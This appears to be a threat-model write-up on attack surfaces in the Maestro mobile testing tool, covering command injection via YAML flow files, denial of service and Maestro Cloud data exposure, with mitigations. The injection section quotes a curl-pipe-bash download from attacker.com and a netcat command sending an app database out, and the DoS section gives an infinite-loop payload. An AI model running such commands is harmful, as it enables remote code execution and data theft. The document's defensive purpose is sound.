Attack Surface: Arbitrary Command Execution via Flow Files
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Attack Surface: Arbitrary Command Execution via Flow Files
- Description: Attackers can inject malicious commands into Maestro flow files (YAML) to execute arbitrary code on the system running Maestro or, through Maestro's control, on the target device. This is the most direct and dangerous attack vector.
- Maestro Contribution: Maestro's core functionality is executing commands defined in flow files. This inherent design is the attack surface if not properly secured. The YAML parsing and command execution are entirely within Maestro's control.
- Example:
- An attacker modifies a flow file to include:
runScript: "curl http://attacker.com/malware.sh | bash"
. Maestro executes this, downloading and running the attacker's script. - Data exfiltration:
runScript: "cat /data/data/com.example.app/databases/sensitive.db | nc attacker.com 1234"
. Maestro executes this command on the device.
- An attacker modifies a flow file to include:
- Impact: Complete system compromise (Maestro host and/or target device), data exfiltration, malware installation, lateral movement.
- Risk Severity: Critical
- Mitigation Strategies:
- Strict Input Validation (YAML Schema & Content):
- Developers: Implement rigorous validation within Maestro of flow files against a predefined schema. Reject unexpected fields/types. Validate the content of commands (whitelist allowed commands/parameters, custom validation functions for URLs, file paths, etc.). This is Maestro's responsibility.
- Users: Only use flow files from trusted sources. Manual inspection is a weak defense.
- Secure Storage and Transmission of Flow Files:
- Developers: Maestro must ensure secure handling of flow files. If Maestro loads them remotely, it must use HTTPS with strong TLS and certificate pinning. Checksums/signatures for integrity are crucial within Maestro's loading process.
- Users: Limited control here; relies on Maestro's implementation.
- Least Privilege (Maestro Process):
- Developers: Maestro should be designed to run with minimal privileges. This is an architectural decision for the Maestro project.
- Users: Configure the system to enforce least privilege for the Maestro process.
- Sandboxing (Containerization):
- Developers: Maestro could be designed to optionally run within a sandboxed environment (though this is more of a deployment choice).
- Users: Deploy Maestro within a container.
- Regular Security Audits and Penetration Testing:
- Developers: Conduct audits/pentests specifically targeting Maestro's flow file execution.
- Strict Input Validation (YAML Schema & Content):
Attack Surface: Denial of Service (DoS) via Malformed Flow Files
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Attack Surface: Denial of Service (DoS) via Malformed Flow Files
- Description: Attackers craft malicious flow files that cause Maestro to crash, consume excessive resources, or enter an infinite loop, preventing legitimate use of Maestro itself.
- Maestro Contribution: Maestro's parsing and execution of user-provided YAML files is the direct source of this vulnerability. The robustness of Maestro's internal handling is key.
- Example:
- Deeply nested YAML to exhaust memory during Maestro's parsing.
runScript: "while true; do sleep 1; done"
– Maestro executes this, consuming CPU.- A command that triggers a bug within Maestro's handling of a driver response, causing Maestro to crash.
- Impact: Disruption of testing, unavailability of the Maestro service, potential impact on the host system running Maestro.
- Risk Severity: High
- Mitigation Strategies:
- Robust YAML Parsing:
- Developers: Maestro must use a secure YAML parser resistant to DoS (e.g., "billion laughs"). Graceful error handling is crucial within Maestro.
- Resource Limits (CPU, Memory, Time):
- Developers: Maestro should internally implement and enforce resource limits for flow execution and individual commands.
- Users: Limited direct control, but can configure system-level limits.
- Timeouts:
- Developers: Maestro must have built-in timeouts for commands and overall flow execution.
- Users: Limited direct control.
- Input Validation (Reject Suspicious Patterns):
- Developers: Maestro should implement input validation to detect and reject obviously malicious patterns in flow files before parsing.
- Robust YAML Parsing:
Attack Surface: Maestro Cloud Data Exposure (if applicable)
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Attack Surface: Maestro Cloud Data Exposure (if applicable)
- Description: If using Maestro Cloud, sensitive data might be exposed in test reports, screenshots, or through vulnerabilities in the Maestro Cloud service itself.
- Maestro Contribution: Maestro Cloud, as a service provided by the Maestro team, is directly responsible for the security of the data it handles.
- Example:
- A test report contains a screenshot with a visible password (captured by Maestro).
- An API key is accidentally included in a flow file and uploaded to Maestro Cloud.
- A vulnerability in Maestro Cloud's authentication allows unauthorized access.
- Impact: Data breach, unauthorized access to sensitive information.
- Risk Severity: High
- Mitigation Strategies:
- Data Masking/Redaction:
- Developers: Maestro Cloud should provide features for data masking/redaction before data is stored.
- Users: Configure data masking rules within Maestro Cloud.
- Secure Credential Management:
- Developers: Maestro Cloud should offer secure ways to manage credentials, not requiring them in flow files.
- Users: Use Maestro Cloud's credential management features.
- Access Control (RBAC):
- Developers: Maestro Cloud must implement robust RBAC.
- Users: Configure RBAC within Maestro Cloud.
- Data Retention Policies:
- Developers: Maestro Cloud should allow configuration of data retention.
- Users: Configure data retention policies.
- Due Diligence (Maestro Cloud Provider):
- Users: Review Maestro Cloud's security documentation, certifications, and pentest reports before using the service. This is crucial.
- Strong Authentication (MFA):
- Developers: Maestro Cloud must offer and ideally enforce MFA.
- Users: Enable MFA for your Maestro Cloud account.
- Data Masking/Redaction: